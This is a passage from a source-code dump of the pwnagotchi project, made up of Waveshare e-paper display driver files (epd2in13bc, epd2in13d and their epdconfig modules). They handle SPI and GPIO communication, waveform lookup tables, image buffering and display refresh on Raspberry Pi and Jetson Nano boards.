self.send_data(0xC3) self.send_command(0x20) self.send_command(0x10) # enter deep sleep self.send_data(0x01) delay_ms(100) ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v213bc/epd2in13bc.py ================================================ # ***************************************************************************** # * | File : epd2in13bc.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V4.0 # * | Date : 2019-06-20 # # | Info : python demo # ----------------------------------------------------------------------------- # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import logging from . import epdconfig from PIL import Image # Display resolution EPD_WIDTH = 104 EPD_HEIGHT = 212 class EPD: def __init__(self): self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN self.cs_pin = epdconfig.CS_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT lut_vcomDC = [ 0x00, 0x08, 0x00, 0x00, 0x00, 0x02, 0x60, 0x28, 0x28, 0x00, 0x00, 0x01, 0x00, 0x14, 0x00, 0x00, 0x00, 0x01, 0x00, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_ww = [ 0x40, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x40, 0x14, 0x00, 0x00, 0x00, 0x01, 0xA0, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bw = [ 0x40, 0x17, 0x00, 0x00, 0x00, 0x02, 0x90, 0x0F, 0x0F, 0x00, 0x00, 0x03, 0x40, 0x0A, 0x01, 0x00, 0x00, 0x01, 0xA0, 0x0E, 0x0E, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_wb = [ 0x80, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x80, 0x14, 0x00, 0x00, 0x00, 0x01, 0x50, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bb = [ 0x80, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x80, 0x14, 0x00, 0x00, 0x00, 0x01, 0x50, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_vcom1 = [ 0x00, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_ww1 = [ 0x00, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bw1 = [ 0x80, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_wb1 = [ 0x40, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bb1 = [ 0x00, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] # Hardware reset def reset(self): epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) epdconfig.digital_write(self.reset_pin, 0) epdconfig.delay_ms(10) epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) def send_command(self, command): epdconfig.digital_write(self.dc_pin, 0) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([command]) epdconfig.digital_write(self.cs_pin, 1) def send_data(self, data): epdconfig.digital_write(self.dc_pin, 1) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) def ReadBusy(self): logging.debug("e-Paper busy") while(epdconfig.digital_read(self.busy_pin) == 0): # 0: idle, 1: busy epdconfig.delay_ms(100) logging.debug("e-Paper busy release") def TurnOnDisplay(self): self.send_command(0x12) epdconfig.delay_ms(10) self.ReadBusy() def init(self): if (epdconfig.module_init() != 0): return -1 logging.debug("e-Paper 2.13bc preboot Freeze recovery") while(epdconfig.digital_read(self.busy_pin) == 0): # 0: idle, 1: busy epdconfig.delay_ms(100) self.reset() epdconfig.delay_ms(200) self.send_command(0x01) # POWER SETTING self.send_data(0x03) self.send_data(0x00) self.send_data(0x2b) self.send_data(0x2b) self.send_data(0x03) epdconfig.delay_ms(200) self.send_command(0x06) # BOOSTER_SOFT_START self.send_data(0x17) self.send_data(0x17) self.send_data(0x17) self.send_command(0x04) # POWER_ON epdconfig.delay_ms(200) self.send_command(0X50) self.send_data(0xf7) self.send_command(0X02) # power off self.send_command(0X07) # deep sleep self.send_data(0xA5) epdconfig.GPIO.output(epdconfig.RST_PIN, 0) epdconfig.GPIO.output(epdconfig.DC_PIN, 0) epdconfig.GPIO.output(epdconfig.CS_PIN, 0) #logging.debug("Reset, powerdown, voltage off done") logging.debug("e-Paper is not frozen now :)") self.reset() self.send_command(0x01) # POWER SETTING self.send_data(0x03) self.send_data(0x00) self.send_data(0x2b) self.send_data(0x2b) self.send_data(0x03) self.send_command(0x06) # BOOSTER_SOFT_START self.send_data(0x17) self.send_data(0x17) self.send_data(0x17) self.send_command(0x04) # POWER_ON logging.debug("e-Paper 2.13bc bootup busy") while(epdconfig.digital_read(self.busy_pin) == 0): # 0: idle, 1: busy epdconfig.delay_ms(100) # self.send_command(0x00) # PANEL_SETTING # self.send_data(0x8F) # self.send_command(0x50) # VCOM_AND_DATA_INTERVAL_SETTING # self.send_data(0xF0) # self.send_command(0x61) # RESOLUTION_SETTING # self.send_data(self.width & 0xff) # self.send_data(self.height >> 8) # self.send_data(self.height & 0xff) self.send_command(0x00) # panel setting self.send_data(0xbf) # LUT from OTP,128x296 self.send_data(0x0d) # VCOM to 0V fast self.send_command(0x30) # PLL setting self.send_data(0x3a) # 3a 100HZ 29 150Hz 39 200HZ 31 171HZ self.send_command(0x61) # resolution setting self.send_data(self.width & 0xff) self.send_data((self.height >> 8) & 0xff) self.send_data(self.height& 0xff) self.send_command(0x82) # vcom_DC setting self.send_data(0x28) #self.Clear() logging.debug("e-Paper booted") return 0 def SetFullReg(self): self.send_command(0x82) self.send_data(0x00) self.send_command(0X50) self.send_data(0x97) self.send_command(0x20) # vcom for count in range(0, 44): self.send_data(self.lut_vcomDC[count]) self.send_command(0x21) # ww -- for count in range(0, 42): self.send_data(self.lut_ww[count]) self.send_command(0x22) # bw r for count in range(0, 42): self.send_data(self.lut_bw[count]) self.send_command(0x23) # wb w for count in range(0, 42): self.send_data(self.lut_wb[count]) self.send_command(0x24) # bb b for count in range(0, 42): self.send_data(self.lut_bb[count]) def getbuffer(self, image): # logging.debug("bufsiz = ",int(self.width/8) * self.height) buf = [0xFF] * (int(self.width/8) * self.height) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() # logging.debug("imwidth = %d, imheight = %d",imwidth,imheight) if(imwidth == self.width and imheight == self.height): logging.debug("Vertical") for y in range(imheight): for x in range(imwidth): # Set the bits for the column of pixels at the current position. if pixels[x, y] == 0: buf[int((x + y * self.width) / 8)] &= ~(0x80 >> (x % 8)) elif(imwidth == self.height and imheight == self.width): logging.debug("Horizontal") for y in range(imheight): for x in range(imwidth): newx = y newy = self.height - x - 1 if pixels[x, y] == 0: buf[int((newx + newy*self.width) / 8)] &= ~(0x80 >> (y % 8)) return buf def display(self, imageblack, imagered): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(imageblack[i]) self.send_command(0x92) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(imagered[i]) self.send_command(0x92) self.send_command(0x12) # REFRESH self.ReadBusy() def pwndisplay(self, imageblack): if (Image == None): return self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0x00) epdconfig.delay_ms(10) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(imageblack[i]) epdconfig.delay_ms(10) self.SetFullReg() self.TurnOnDisplay() def Clear(self): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) self.send_command(0x92) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) self.send_command(0x92) self.send_command(0x12) # REFRESH self.ReadBusy() def pwnclear(self): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) epdconfig.delay_ms(10) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) epdconfig.delay_ms(10) self.SetFullReg() self.TurnOnDisplay() def sleep(self): self.send_command(0x02) # POWER_OFF self.ReadBusy() self.send_command(0x07) # DEEP_SLEEP self.send_data(0xA5) # check code epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v213bc/epdconfig.py ================================================ # /***************************************************************************** # * | File : epdconfig.py # * | Author : Waveshare team # * | Function : Hardware underlying interface # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2019-06-21 # * | Info : # ****************************************************************************** # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import os import logging import sys import time class RaspberryPi: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import spidev import RPi.GPIO self.GPIO = RPi.GPIO # SPI device, bus = 0, device = 0 self.SPI = spidev.SpiDev(0, 0) def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(pin) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.writebytes(data) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.max_speed_hz = 4000000 self.SPI.mode = 0b00 return 0 def module_exit(self): logging.debug("spi end") self.SPI.close() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() class JetsonNano: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import ctypes find_dirs = [ os.path.dirname(os.path.realpath(__file__)), '/usr/local/lib', '/usr/lib', ] self.SPI = None for find_dir in find_dirs: so_filename = os.path.join(find_dir, 'sysfs_software_spi.so') if os.path.exists(so_filename): self.SPI = ctypes.cdll.LoadLibrary(so_filename) break if self.SPI is None: raise RuntimeError('Cannot find sysfs_software_spi.so') import Jetson.GPIO self.GPIO = Jetson.GPIO def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(self.BUSY_PIN) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.SYSFS_software_spi_transfer(data[0]) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.SYSFS_software_spi_begin() return 0 def module_exit(self): logging.debug("spi end") self.SPI.SYSFS_software_spi_end() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() if os.path.exists('/sys/bus/platform/drivers/gpiomem-bcm2835'): implementation = RaspberryPi() else: implementation = JetsonNano() for func in [x for x in dir(implementation) if not x.startswith('_')]: setattr(sys.modules[__name__], func, getattr(implementation, func)) ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v213d/epd2in13d.py ================================================ # ***************************************************************************** # * | File : epd2in13d.py # * | Author : Waveshare team # * | Function : Electronic paper driver # * | Info : # *---------------- # * | This version: V4.0 # * | Date : 2019-06-20 # # | Info : python demo # ----------------------------------------------------------------------------- # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import logging from . import epdconfig from PIL import Image import RPi.GPIO as GPIO # Display resolution EPD_WIDTH = 104 EPD_HEIGHT = 212 class EPD: def __init__(self): self.reset_pin = epdconfig.RST_PIN self.dc_pin = epdconfig.DC_PIN self.busy_pin = epdconfig.BUSY_PIN self.cs_pin = epdconfig.CS_PIN self.width = EPD_WIDTH self.height = EPD_HEIGHT lut_vcomDC = [ 0x00, 0x08, 0x00, 0x00, 0x00, 0x02, 0x60, 0x28, 0x28, 0x00, 0x00, 0x01, 0x00, 0x14, 0x00, 0x00, 0x00, 0x01, 0x00, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_ww = [ 0x40, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x40, 0x14, 0x00, 0x00, 0x00, 0x01, 0xA0, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bw = [ 0x40, 0x17, 0x00, 0x00, 0x00, 0x02, 0x90, 0x0F, 0x0F, 0x00, 0x00, 0x03, 0x40, 0x0A, 0x01, 0x00, 0x00, 0x01, 0xA0, 0x0E, 0x0E, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_wb = [ 0x80, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x80, 0x14, 0x00, 0x00, 0x00, 0x01, 0x50, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bb = [ 0x80, 0x08, 0x00, 0x00, 0x00, 0x02, 0x90, 0x28, 0x28, 0x00, 0x00, 0x01, 0x80, 0x14, 0x00, 0x00, 0x00, 0x01, 0x50, 0x12, 0x12, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_vcom1 = [ 0x00, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_ww1 = [ 0x00, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bw1 = [ 0x80, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_wb1 = [ 0x40, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] lut_bb1 = [ 0x00, 0x19, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ] # Hardware reset def reset(self): epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) epdconfig.digital_write(self.reset_pin, 0) epdconfig.delay_ms(10) epdconfig.digital_write(self.reset_pin, 1) epdconfig.delay_ms(200) def send_command(self, command): epdconfig.digital_write(self.dc_pin, 0) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([command]) epdconfig.digital_write(self.cs_pin, 1) def send_data(self, data): epdconfig.digital_write(self.dc_pin, 1) epdconfig.digital_write(self.cs_pin, 0) epdconfig.spi_writebyte([data]) epdconfig.digital_write(self.cs_pin, 1) def ReadBusy(self): logging.debug("e-Paper busy") while(epdconfig.digital_read(self.busy_pin) == 0): # 0: idle, 1: busy self.send_command(0x71) epdconfig.delay_ms(100) logging.debug("e-Paper busy release") def TurnOnDisplay(self): self.send_command(0x12) epdconfig.delay_ms(10) self.ReadBusy() def init(self): if (epdconfig.module_init() != 0): return -1 # EPD hardware init start self.reset() self.send_command(0x01) # POWER SETTING self.send_data(0x03) self.send_data(0x00) self.send_data(0x2b) self.send_data(0x2b) self.send_data(0x03) self.send_command(0x06) # boost soft start self.send_data(0x17) # A self.send_data(0x17) # B self.send_data(0x17) # C self.send_command(0x04) self.ReadBusy() self.send_command(0x00) # panel setting self.send_data(0xbf) # LUT from OTP,128x296 self.send_data(0x0d) # VCOM to 0V fast self.send_command(0x30) # PLL setting self.send_data(0x3a) # 3a 100HZ 29 150Hz 39 200HZ 31 171HZ self.send_command(0x61) # resolution setting self.send_data(self.width) self.send_data((self.height >> 8) & 0xff) self.send_data(self.height& 0xff) self.send_command(0x82) # vcom_DC setting self.send_data(0x28) return 0 def SetFullReg(self): self.send_command(0x82) self.send_data(0x00) self.send_command(0X50) self.send_data(0x97) self.send_command(0x20) # vcom for count in range(0, 44): self.send_data(self.lut_vcomDC[count]) self.send_command(0x21) # ww -- for count in range(0, 42): self.send_data(self.lut_ww[count]) self.send_command(0x22) # bw r for count in range(0, 42): self.send_data(self.lut_bw[count]) self.send_command(0x23) # wb w for count in range(0, 42): self.send_data(self.lut_wb[count]) self.send_command(0x24) # bb b for count in range(0, 42): self.send_data(self.lut_bb[count]) def SetPartReg(self): self.send_command(0x82) self.send_data(0x03) self.send_command(0X50) self.send_data(0x47) self.send_command(0x20) # vcom for count in range(0, 44): self.send_data(self.lut_vcom1[count]) self.send_command(0x21) # ww -- for count in range(0, 42): self.send_data(self.lut_ww1[count]) self.send_command(0x22) # bw r for count in range(0, 42): self.send_data(self.lut_bw1[count]) self.send_command(0x23) # wb w for count in range(0, 42): self.send_data(self.lut_wb1[count]) self.send_command(0x24) # bb b for count in range(0, 42): self.send_data(self.lut_bb1[count]) def getbuffer(self, image): # logging.debug("bufsiz = ",int(self.width/8) * self.height) buf = [0xFF] * (int(self.width/8) * self.height) image_monocolor = image.convert('1') imwidth, imheight = image_monocolor.size pixels = image_monocolor.load() # logging.debug("imwidth = %d, imheight = %d",imwidth,imheight) if(imwidth == self.width and imheight == self.height): logging.debug("Vertical") for y in range(imheight): for x in range(imwidth): # Set the bits for the column of pixels at the current position. if pixels[x, y] == 0: buf[int((x + y * self.width) / 8)] &= ~(0x80 >> (x % 8)) elif(imwidth == self.height and imheight == self.width): logging.debug("Horizontal") for y in range(imheight): for x in range(imwidth): newx = y newy = self.height - x - 1 if pixels[x, y] == 0: buf[int((newx + newy*self.width) / 8)] &= ~(0x80 >> (y % 8)) return buf def display(self, image): if (Image == None): return self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0x00) epdconfig.delay_ms(10) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(image[i]) epdconfig.delay_ms(10) self.SetFullReg() self.TurnOnDisplay() def DisplayPartial(self, image): if (Image == None): return self.SetPartReg() self.send_command(0x91) self.send_command(0x90) self.send_data(0) self.send_data(self.width - 1) self.send_data(0) self.send_data(0) self.send_data(int(self.height / 256)) self.send_data(self.height % 256 - 1) self.send_data(0x28) self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(image[i]) epdconfig.delay_ms(10) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(~image[i]) epdconfig.delay_ms(10) self.TurnOnDisplay() def Clear(self): self.send_command(0x10) for i in range(0, int(self.width * self.height / 8)): self.send_data(0x00) epdconfig.delay_ms(10) self.send_command(0x13) for i in range(0, int(self.width * self.height / 8)): self.send_data(0xFF) epdconfig.delay_ms(10) self.SetFullReg() self.TurnOnDisplay() def sleep(self): self.send_command(0X50) self.send_data(0xf7) self.send_command(0X02) # power off self.send_command(0X07) # deep sleep self.send_data(0xA5) epdconfig.module_exit() ### END OF FILE ### ================================================ FILE: pwnagotchi/ui/hw/libs/waveshare/v213d/epdconfig.py ================================================ # /***************************************************************************** # * | File : epdconfig.py # * | Author : Waveshare team # * | Function : Hardware underlying interface # * | Info : # *---------------- # * | This version: V1.0 # * | Date : 2019-06-21 # * | Info : # ****************************************************************************** # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documnetation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # import os import logging import sys import time class RaspberryPi: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import spidev import RPi.GPIO self.GPIO = RPi.GPIO # SPI device, bus = 0, device = 0 self.SPI = spidev.SpiDev(0, 0) def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(pin) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): self.SPI.writebytes(data) def module_init(self): self.GPIO.setmode(self.GPIO.BCM) self.GPIO.setwarnings(False) self.GPIO.setup(self.RST_PIN, self.GPIO.OUT) self.GPIO.setup(self.DC_PIN, self.GPIO.OUT) self.GPIO.setup(self.CS_PIN, self.GPIO.OUT) self.GPIO.setup(self.BUSY_PIN, self.GPIO.IN) self.SPI.max_speed_hz = 4000000 self.SPI.mode = 0b00 return 0 def module_exit(self): logging.debug("spi end") self.SPI.close() logging.debug("close 5V, Module enters 0 power consumption ...") self.GPIO.output(self.RST_PIN, 0) self.GPIO.output(self.DC_PIN, 0) self.GPIO.cleanup() class JetsonNano: # Pin definition RST_PIN = 17 DC_PIN = 25 CS_PIN = 8 BUSY_PIN = 24 def __init__(self): import ctypes find_dirs = [ os.path.dirname(os.path.realpath(__file__)), '/usr/local/lib', '/usr/lib', ] self.SPI = None for find_dir in find_dirs: so_filename = os.path.join(find_dir, 'sysfs_software_spi.so') if os.path.exists(so_filename): self.SPI = ctypes.cdll.LoadLibrary(so_filename) break if self.SPI is None: raise RuntimeError('Cannot find sysfs_software_spi.so') import Jetson.GPIO self.GPIO = Jetson.GPIO def digital_write(self, pin, value): self.GPIO.output(pin, value) def digital_read(self, pin): return self.GPIO.input(self.BUSY_PIN) def delay_ms(self, delaytime): time.sleep(delaytime / 1000.0) def spi_writebyte(self, data): 